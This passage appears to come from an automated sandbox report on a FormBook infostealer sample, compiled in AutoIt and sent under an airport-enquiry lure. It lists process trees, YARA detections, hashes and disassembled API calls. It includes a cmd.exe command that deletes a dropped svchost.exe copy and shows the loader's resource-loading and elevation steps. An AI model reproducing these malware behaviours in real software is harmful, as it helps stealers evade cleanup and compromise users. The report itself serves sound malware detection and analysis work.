00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:51:01
Start date:	27/08/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 00000002.00000002.4143107748.000000000E6AA000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	04:51:02
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x970000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	04:51:06
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Windows\SysWOW64\svchost.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:51:06
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	162

Executed Functions

Function 00C83B4C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00C83B7A
IsDebuggerPresent.KERNEL32 ref: 00C83B8C
GetFullPathNameW.KERNEL32(00007FFF,?,?,00D462F8,00D462E0,?,?), ref: 00C83BFD

Part of subcall function 00C87D2C: _memmove.LIBCMT ref: 00C87D66

Part of subcall function 00C90A8D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00C83C26,00D462F8,?,?,?), ref: 00C90ACE

SetCurrentDirectoryW.KERNEL32(?), ref: 00C83C81
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00D393F0,00000010), ref: 00CBD4BC
SetCurrentDirectoryW.KERNEL32(?,00D462F8,?,?,?), ref: 00CBD4F4
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00D35D40,00D462F8,?,?,?), ref: 00CBD57A
ShellExecuteW.SHELL32(00000000,?,?), ref: 00CBD581

Part of subcall function 00C83A58: GetSysColorBrush.USER32(0000000F), ref: 00C83A62
Part of subcall function 00C83A58: LoadCursorW.USER32(00000000,00007F00), ref: 00C83A71
Part of subcall function 00C83A58: LoadIconW.USER32(00000063), ref: 00C83A88
Part of subcall function 00C83A58: LoadIconW.USER32(000000A4), ref: 00C83A9A
Part of subcall function 00C83A58: LoadIconW.USER32(000000A2), ref: 00C83AAC
Part of subcall function 00C83A58: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00C83AD2
Part of subcall function 00C83A58: RegisterClassExW.USER32(?), ref: 00C83B28

Part of subcall function 00C839E7: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00C83A15
Part of subcall function 00C839E7: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00C83A36
Part of subcall function 00C839E7: ShowWindow.USER32(00000000,?,?), ref: 00C83A4A
Part of subcall function 00C839E7: ShowWindow.USER32(00000000,?,?), ref: 00C83A53

Part of subcall function 00C843DB: _memset.LIBCMT ref: 00C84401
Part of subcall function 00C843DB: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00C844A6

Strings

runas, xrefs: 00CBD575
This is a third-party compiled AutoIt script., xrefs: 00CBD4B4

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 529118366-3287110873
Opcode ID: 6ec6de1bc9ab085e845766df45433884d6675d8a98e61d8f370b41d8bb24d8b9
Instruction ID: 732c5fd8a1e09af8bab55d1515e18f2ef963bd6701d9eddfd15c9c1372bb2842
Opcode Fuzzy Hash: 6ec6de1bc9ab085e845766df45433884d6675d8a98e61d8f370b41d8bb24d8b9
Instruction Fuzzy Hash: 7051F775904388BFCF11FFB4DC45AED7B74AB06708F144265F456A22A1DAB0C605EB3A

Function 00C84AFE Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00C84B2B

Part of subcall function 00C87D2C: _memmove.LIBCMT ref: 00C87D66

GetCurrentProcess.KERNEL32(?,00D0FAEC,00000000,00000000,?), ref: 00C84BF8
IsWow64Process.KERNEL32(00000000), ref: 00C84BFF
GetNativeSystemInfo.KERNELBASE(00000000), ref: 00C84C45
FreeLibrary.KERNEL32(00000000), ref: 00C84C50
GetSystemInfo.KERNEL32(00000000), ref: 00C84C81
GetSystemInfo.KERNEL32(00000000), ref: 00C84C8D

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 94be10f2d79760aa3603a16b96604d1722168c5d80486a1251df33c0f409b45d
Instruction ID: eba6f6c062a2f12054a8fe4ac6ca58a55b1b4218ab938681293c903541865dac
Opcode Fuzzy Hash: 94be10f2d79760aa3603a16b96604d1722168c5d80486a1251df33c0f409b45d
Instruction Fuzzy Hash: 7791E43154ABC1DEC735DB6884511AAFFE4AF2A304F584E9ED0DB93A01D220EA48D72D

Function 00C84FE9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00C84EEE,?,?,00000000,00000000), ref: 00C84FF9
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00C84EEE,?,?,00000000,00000000), ref: 00C85010
LoadResource.KERNEL32(?,00000000,?,?,00C84EEE,?,?,00000000,00000000,?,?,?,?,?,?,00C84F8F), ref: 00CBDD60
SizeofResource.KERNEL32(?,00000000,?,?,00C84EEE,?,?,00000000,00000000,?,?,?,?,?,?,00C84F8F), ref: 00CBDD75
LockResource.KERNEL32(00C84EEE,?,?,00C84EEE,?,?,00000000,00000000,?,?,?,?,?,?,00C84F8F,00000000), ref: 00CBDD88

Strings

SCRIPT, xrefs: 00C85006

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 5c061b098342d3980ec695669d5a0bf591ce72450b572ac2964fc351bd0073c6
Instruction ID: 1ec00d49fad3f1b5f5cfa4eeedb4457a2c1508fd1a7f0ebecdc1b05b33bc73e7
Opcode Fuzzy Hash: 5c061b098342d3980ec695669d5a0bf591ce72450b572ac2964fc351bd0073c6
Instruction Fuzzy Hash: C9115A75200700AFD7319B65DC58F677BB9EBC9B55F20816CF41ADA660DBA1EC008674

Function 00C8FE40 Relevance: 5.5, APIs: 3, Instructions: 1040COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: 6e63ab64dfb426ab83e9cc45c00a2b8fb9c41f730881a1416c0630d5f3110396
Instruction ID: 8ac9cf2ed070b097c32254561a82023827db00371fbf755a8ef165d2c0a6a51e
Opcode Fuzzy Hash: 6e63ab64dfb426ab83e9cc45c00a2b8fb9c41f730881a1416c0630d5f3110396
Instruction Fuzzy Hash: C39278706083418FDB24DF14C494B6AB7E1BF89308F24896DF89A8B362D771ED45CB92

Function 00CE4696 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00CBE7C1), ref: 00CE46A6
FindFirstFileW.KERNELBASE(?,?), ref: 00CE46B7
FindClose.KERNEL32(00000000), ref: 00CE46C7

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 73175fc2bbe2b4947cc874d16e8e65a9df25004f4ccdf4a548525a79164efadf
Instruction ID: e9e9e8362e61c14fe42c4c03a07a3d3e0416655f28f6b5690aad46d95d481c5a
Opcode Fuzzy Hash: 73175fc2bbe2b4947cc874d16e8e65a9df25004f4ccdf4a548525a79164efadf
Instruction Fuzzy Hash: 3EE020314105005BC224B738EC4D5EE775CDE06335F200715F939C15E0E7B06D5085E9

Function 00C8E800 Relevance: 2.4, Strings: 1, Instructions: 1102COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 00CC428C

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID: Variable must be of type 'Object'.
API String ID: 0-109567571
Opcode ID: 0f8fcef8c15808db49e6269c43102db8fe0719e7000adde666f5fe26bd0a28f5
Instruction ID: 1c2b940623359d77ff10f81cbfb7703a706b042810a355fd22fb6dc4f0267e87
Opcode Fuzzy Hash: 0f8fcef8c15808db49e6269c43102db8fe0719e7000adde666f5fe26bd0a28f5
Instruction Fuzzy Hash: 78A2AF74A04215CFCB24EF99C480AADB7B1FF49318F24806DE926AB351D771ED42CB99

Function 00C90B30 Relevance: 57.3, APIs: 27, Strings: 5, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00C90BBB
timeGetTime.WINMM ref: 00C90E76
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00C90FB3
TranslateMessage.USER32(?), ref: 00C90FC7
DispatchMessageW.USER32(?), ref: 00C90FD5
Sleep.KERNEL32(0000000A), ref: 00C90FDF
LockWindowUpdate.USER32(00000000,?,?), ref: 00C9105A
DestroyWindow.USER32 ref: 00C91066
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00C91080
Sleep.KERNEL32(0000000A,?,?), ref: 00CC52AD
TranslateMessage.USER32(?), ref: 00CC608A
DispatchMessageW.USER32(?), ref: 00CC6098
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CC60AC

Strings

@COM_EVENTOBJ, xrefs: 00CC591A
@GUI_WINHANDLE, xrefs: 00CC53B9
@GUI_CTRLHANDLE, xrefs: 00CC540E
@TRAY_ID, xrefs: 00CC5BB9
@GUI_CTRLID, xrefs: 00CC5364

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Message$DispatchPeekSleepTranslateWindow$DestroyLockTimeUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 4003667617-3242690629
Opcode ID: 7f23c6fe264efa8f81607b17791fd70bec131551fe113433dcc7f5eb26aa4db0
Instruction ID: f827ae144cfcd8923259ab242050c0a9164ec874e23aced2dc38b6f245dac3c1
Opcode Fuzzy Hash: 7f23c6fe264efa8f81607b17791fd70bec131551fe113433dcc7f5eb26aa4db0
Instruction Fuzzy Hash: 52B2B170608741DFDB28DF24C888FAAB7E4BF85304F24491DF49A87291DB71E985DB92

Function 00CE93DF Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CE91E9: __time64.LIBCMT ref: 00CE91F3

Part of subcall function 00C85045: _fseek.LIBCMT ref: 00C8505D

__wsplitpath.LIBCMT ref: 00CE94BE

Part of subcall function 00CA432E: __wsplitpath_helper.LIBCMT ref: 00CA436E

_wcscpy.LIBCMT ref: 00CE94D1
_wcscat.LIBCMT ref: 00CE94E4
__wsplitpath.LIBCMT ref: 00CE9509
_wcscat.LIBCMT ref: 00CE951F
_wcscat.LIBCMT ref: 00CE9532

Part of subcall function 00CE922F: _memmove.LIBCMT ref: 00CE9268
Part of subcall function 00CE922F: _memmove.LIBCMT ref: 00CE9277

_wcscmp.LIBCMT ref: 00CE9479

Part of subcall function 00CE99BE: _wcscmp.LIBCMT ref: 00CE9AAE
Part of subcall function 00CE99BE: _wcscmp.LIBCMT ref: 00CE9AC1

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00CE96DC
_wcsncpy.LIBCMT ref: 00CE974F
DeleteFileW.KERNEL32(?,?), ref: 00CE9785
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00CE979B
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00CE97AC
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00CE97BE

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: b3bd105b97f684792a542e12d264e39fa3c6a4704f2649ad2de8407b0ae62e0d
Instruction ID: 62e9fa3a398dfe1bcdc0a139366f042268c8d51a0208f742c9f4ed824218ed67
Opcode Fuzzy Hash: b3bd105b97f684792a542e12d264e39fa3c6a4704f2649ad2de8407b0ae62e0d
Instruction Fuzzy Hash: 11C12CB1D00229AEDF21DFA5CC85ADEB7BDEF45304F0040AAF609E7151EB709A849F65

Function 00C83018 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 70
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00C83074
RegisterClassExW.USER32(00000030), ref: 00C8309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00C830AF
InitCommonControlsEx.COMCTL32(?), ref: 00C830CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00C830DC
LoadIconW.USER32(000000A9), ref: 00C830F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00C83101

Strings

TaskbarCreated, xrefs: 00C830A4
+, xrefs: 00C8305D
0, xrefs: 00C83056
AutoIt v3 GUI, xrefs: 00C83090

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: a8da1d79ab8debfc545f24c794a4216870306d1b487736b490b92f7f3726a428
Instruction ID: 58f9ad75fe5fc1817fad3a79e90a708bfc7bbdb5ae87941d1d68e1db5710a190
Opcode Fuzzy Hash: a8da1d79ab8debfc545f24c794a4216870306d1b487736b490b92f7f3726a428
Instruction Fuzzy Hash: 683136B5941309AFDB50DFA4EC84BC9BBF0FB0A310F24452AE585E63A0E3B545418FA2

Function 00C83041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00C83074
RegisterClassExW.USER32(00000030), ref: 00C8309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00C830AF
InitCommonControlsEx.COMCTL32(?), ref: 00C830CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00C830DC
LoadIconW.USER32(000000A9), ref: 00C830F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00C83101

Strings

TaskbarCreated, xrefs: 00C830A4
+, xrefs: 00C8305D
0, xrefs: 00C83056
AutoIt v3 GUI, xrefs: 00C83090

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: af248964d9b4e1ce61ca10d91ff4a76ed11c8c3b0091d56edd1745866a0fbb39
Instruction ID: f5f97a43768bc5a374547c35bd30c06bb0f5cdba8d219e402997da64f2f5bb19
Opcode Fuzzy Hash: af248964d9b4e1ce61ca10d91ff4a76ed11c8c3b0091d56edd1745866a0fbb39
Instruction Fuzzy Hash: B821C5B5900318AFDB10DFA4E889B9DBBF4FB0A700F10452AF915E63A0D7B145448FA6

Function 00C871EB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C84864: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00D462F8,?,00C837C0,?), ref: 00C84882

Part of subcall function 00CA074F: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,00C872C5), ref: 00CA0771

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00C87308
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00CBECF1
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00CBED32
RegCloseKey.ADVAPI32(?), ref: 00CBED70
_wcscat.LIBCMT ref: 00CBEDC9

Strings

Software\AutoIt v3\AutoIt, xrefs: 00C872FE
\, xrefs: 00CBEDEC
\Include\, xrefs: 00C872C5
Include, xrefs: 00CBECE8, 00CBED29

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

